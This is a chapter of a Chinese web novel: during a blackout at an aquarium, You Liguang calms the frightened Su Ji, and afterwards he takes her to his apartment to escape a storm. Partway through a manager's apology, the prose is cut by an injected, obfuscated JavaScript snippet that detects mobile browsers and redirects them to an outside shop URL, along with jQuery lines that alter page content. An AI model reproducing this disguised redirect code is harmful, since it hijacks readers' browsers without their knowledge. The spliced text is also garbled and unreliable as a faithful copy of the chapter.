29. 去我家坐坐

作品:《万人嫌女配确诊绝症后

    狭小的室内陷入完全的漆黑。


    四面八方的混沌如潮水拍打苏纪的身体,未知的恐惧带走她身上仅有的意识和体温。


    只有失去了最重要的光源,才能发现这些微弱的光管原本起到了怎样至关重要的作用。


    铺天盖地的漆黑淹没苏纪。


    ……


    苏纪感觉自己的手有些僵硬。


    她的视力不错,但她第一次有些痛恨自己的视力。


    模糊蛄蛹的异色生物,比能看清的更可怖。


    她的听觉在绝对的寂静中爆发出幻觉的耳鸣。


    好像它们在朝她涌来,吸附她的四肢百骸。


    啪。


    苏纪突然什么都看不见了。


    “苏纪,保持呼吸。”


    遥远却熟悉的声音坚定地砸破隔阂,猛然闯进来,把她从混乱和麻痹中一把揪出来。


    她意识到,自己的眼被温热而柔软的物体覆盖。


    好像是由离光的手。


    她的手突然能动了。


    “听我说,闭上眼睛。”


    苏纪从来没觉得由离光毫无情绪的声音这么温暖过。


    她分不清究竟是他的声音真的柔和,还是她像落水的人抓住了救命的绳索。


    苏纪感觉自己的冰冷的手被由离光捉了起来。他的声音很轻,小心翼翼地。


    “不要看它们。”


    苏纪没有反抗,她闭上眼睛,任由由离光带着她。


    她知道自己坐了下来,背后是同样坐下来的由离光。


    背后传来似有若无的温度,宽大而温暖。


    淡淡的温热气息洒过她的耳尖。


    绝对寂静的空间中,响起他的声音。


    “我并不惊慌,是因为我相信你不是无缘无故说要离开的人,你有自己的主见。”


    苏纪愣了一下。


    由离光突然在说什么?


    她混乱的思绪过了片刻才处理完毕由离光这句话的信息。她迷糊缓慢地回道。


    “是这样吗?”


    “理性是这么告诉我的。”


    本能的恐惧感被由离光突然插入的话题打断,变得混乱,但还残留着少许余温,和眼下的话题混杂在一起,苏纪都有些糊涂,不知道自己在说什么了。


    “……意思是理性之外的东西告诉了你另一个答案,是吗?”


    “以前的我以为不会有的。”


    由离光回答。


    意思是现在有。


    但是,有什么呢?


    惊慌……吗?


    由离光总是这样,自己说自己的,也不管别人到底听明白了没有。


    苏纪没听懂,自然也无从回答。她垂着头,睫毛痒痒的,总能擦到他盖在她双眼上的手。


    失去视觉和听觉,触觉变得格外敏感。


    除了唯一的热源,她在任何地方都只能感受到绝对的冰冷。


    她不知道自己什么时候握住了由离光的另一只手。十指相扣在一起,另一方却没有逃离。


    黑暗中唯一的温暖,她不想放开。


    由离光将她放在自己的怀中,她半蜷缩着身体,像没有防备的软体,而由离光是她的贝壳。


    苏纪抿了抿唇。


    “我其实是想还你人情的,才想约你出门的。但……”


    这场停电非但没能让她划清两个人之间的界限,反而越欠越多。


    “人情本来就是算不明白的账。”


    由离光的右手还搭在她的紧闭的眼睛上。她的刘海被他的手指拂开,痒痒的。


    她没忍住说:“我原本以为,你是那种不会插手别人的事的人。”


    片刻沉默。


    “一个人要面对的事情太复杂的时候,在必须以外的事情就想尽量地简单。”


    苏纪想,由离光说的不是她能够插手,甚至不是她能够理解的事。


    但她倚靠在他怀里,有些询问就这样自然而然地流露出来。


    “源由财会内部派系林立吗?”


    这回由离光回答得很快。“嗯。”


    “……你应该很辛苦吧。”


    由离光听出她的弦外之音:“你在想什么?”


    “你给我拿药的事。”


    被白塔管控的药物,即使是研发公司也不可以随意使用。由离光在行使他的权势的时候,必然承担了同等的风险。


    由离光的声音平静地从身后传来。


    “许下承诺的时候,要明白自己能不能做到,代价能不能承受得起。”


    “我既然把药给你,就说明我能够对它负责,不论为它付出什么,也不是你该操心的事。”


    他反应如常,苏纪心里却忽地泛起些不是滋味。


    “你说得很轻松。”


    “我们认识两年多,这是你第一次对我提出私人的要求。如果连这也做不到,如果我作出的努力不能够让我做到任何自己想做的事,那努力的意义是什么?”


    真是很有由离光作风的想法。


    苏纪打趣道:“或许,是为了育星能够变得更好……?”


    由离光的声音却听不出玩笑的意思。


    “那是你的愿望,不是我的愿望。”


    苏纪被他的反驳一时噎住,反问:“你的愿望就是帮我拿到禁药吗?”


    “如果你想要,那就是。”


    “……那也不是你的愿望,而是我的愿望。”


    由离光一字一句地:“那就是我的愿望。”


    强词夺理。


    苏纪拉开他落在她脸上的手,转过身,撑住他的大腿,半跪在他身前的地上,紧抓他的十指,“谢谢你。但是,不要说这么惹人误会的话。”


    其实苏纪看不清他在哪里,只能从鱼群的幽光中瞥见他眸角折射的光,勉强判断他的方位。


    黑暗中,由离光眼眸微垂,露出笑意。唯有声音平静无澜,像捕捉不到潮汐的深海。


    “看来你不害怕了。我们走吧,去看看外面是怎么一回事。”


    他巧妙避开了她的告诫。


    苏纪还想说什么,由离光已经拉着她站起来,他打开门,让她先走。


    这场对话从由离光独断的感叹开始,也从他自我的意愿结束。


    每当苏纪觉得自己快要摸到他的意图,他便会缩回伸出的手,让她摸到似是而非的空虚。


    苏纪无可奈何,只能率先踏出房间。


    外面也是一片漆黑,不过留有应急指示灯,还能辨认出出口方向。


    没费太长时间,苏纪和由离光走到尽头,拉开遮光帘。大厅内也昏暗无比,但有室外的光源,总算重见光明。


    十来个身着制服的工作人员神情焦急,见到两人出现,急忙把他们请到座位上。


    苏纪和由离光并排坐下。


    由离光衣着整齐,神情平静,他还没开口,像是水族馆领导的秃顶老头冷汗涔涔地鞠躬谢罪。


    “少爷,是下属失职,没能维护好海洋馆电力系统。冬流区同时爆发暴雨、地震、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962806|191580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雷灾和磁场紊乱,附近的电站也失灵了,才会突然断电……”


    苏纪原本以为只是普通意外,眼下大吃一惊。


    冬流区是遭天谴了么,竟然能同时爆发这么多灾害。


    由离光眸光锐利,声音冰冷:“我记得海洋馆有单独的应急预案,即使电站爆炸,也不该断电。”


    秃头领导擦了把额上的冷汗,应了句是,无奈道:“是的,本来是有应急电机,可以维续电力,但是刚刚应急电机地面下方检测到七级地磁暴动,电机被强地磁干扰,暂时失灵了。”


    苏纪:……


    哈哈,真是遭天谴了吧。


    由离光没说话,领导又急忙解释:“电机失灵时,我们本想让人进去寻找二位,又担心打扰到两位……”


    由离光还是没回答,领导尴尬地咳了两声:“电机已经在全力修复中,只是暂时性的失灵,不会有大问题。”


    苏纪从他倒霉催的样子联想到了自己的社畜生涯,点了点头算是给他一点回应。


    由离光看了她一眼,视线回到领导身上,让他下去:“没你的事了。”


    秃头领导大松一口气,小心翼翼地退下。


    苏纪和由离光站在海洋馆门口,外面瓢泼大雨,雷声轰鸣。


    天地一片黑压压地沉,虽是白天,却几乎找不见光亮。


    这附近有地磁暴,依靠磁力加速飞行的快航船不能再使用,但其他的交通工具回到慢珠海区耗时太长,也不适合作为选择。


    由离光目视着瓢泼溅起的大雨。


    雨珠落在苏纪的发尾,像鸟巢里晶莹的珍珠。她却一无所觉,既不关心身上淋到的雨,也不将视线分半点落在他身上。


    由离光说:“你累了吗?”


    “我还好。”


    “去我家坐坐吧。”


    苏纪后撤一步,拉开距离,瞪大眼睛看向由离光。


    由离光转过头来,又说了一遍。


    “就在这附近。”


    “……我不想见到源由财会的其他人……”


    “是我自己的房子。只有我,还有你。”


    哦,也是呢。财阀的继承人怎么会只有一个房子呢。


    苏纪这次不反对,她也不想在海洋馆里发呆到雨停。


    很快,有专人送来了私家飞船,苏纪和由离光没花太长时间,进入冬流区中心的一幢极高的公寓楼停船坪。


    由离光打开公寓的门。


    干净,空旷的全采光落地窗客厅映入眼帘。


    房间结合了欧式古典设计与近未来风格,家具简约却不失优雅和温度,与空间的浅色墙纸融为一体,精致华丽。


    因为实在很符合苏纪的审美,她没忍住在由离光的身后偷偷多瞟了两眼。


    老钱家族的人出来的审美真是赏心悦目。


    “你先去洗澡吧。”


    苏纪立刻收回目光,对上由离光无表情的脸,震惊地连摆双手:“不用,我哪有衣服换?”


    “我看见你发尾湿了。不换衣服容易病倒。还是说,你想要继续请假?”


    那是万万不能的,今天还不知道能不能回慢珠海区,如果再病倒,简直不堪设想。


    苏纪点了头,由离光松开她的手,径直走进走廊后的房间。


    她不解由离光的用意,站在原地等他回来。


    由离光很快再次出现,手里多了一件白衬衫。


    他把衬衫和毛巾递到苏纪面前:“这里只有我的衣服,浴室在走廊尽头。”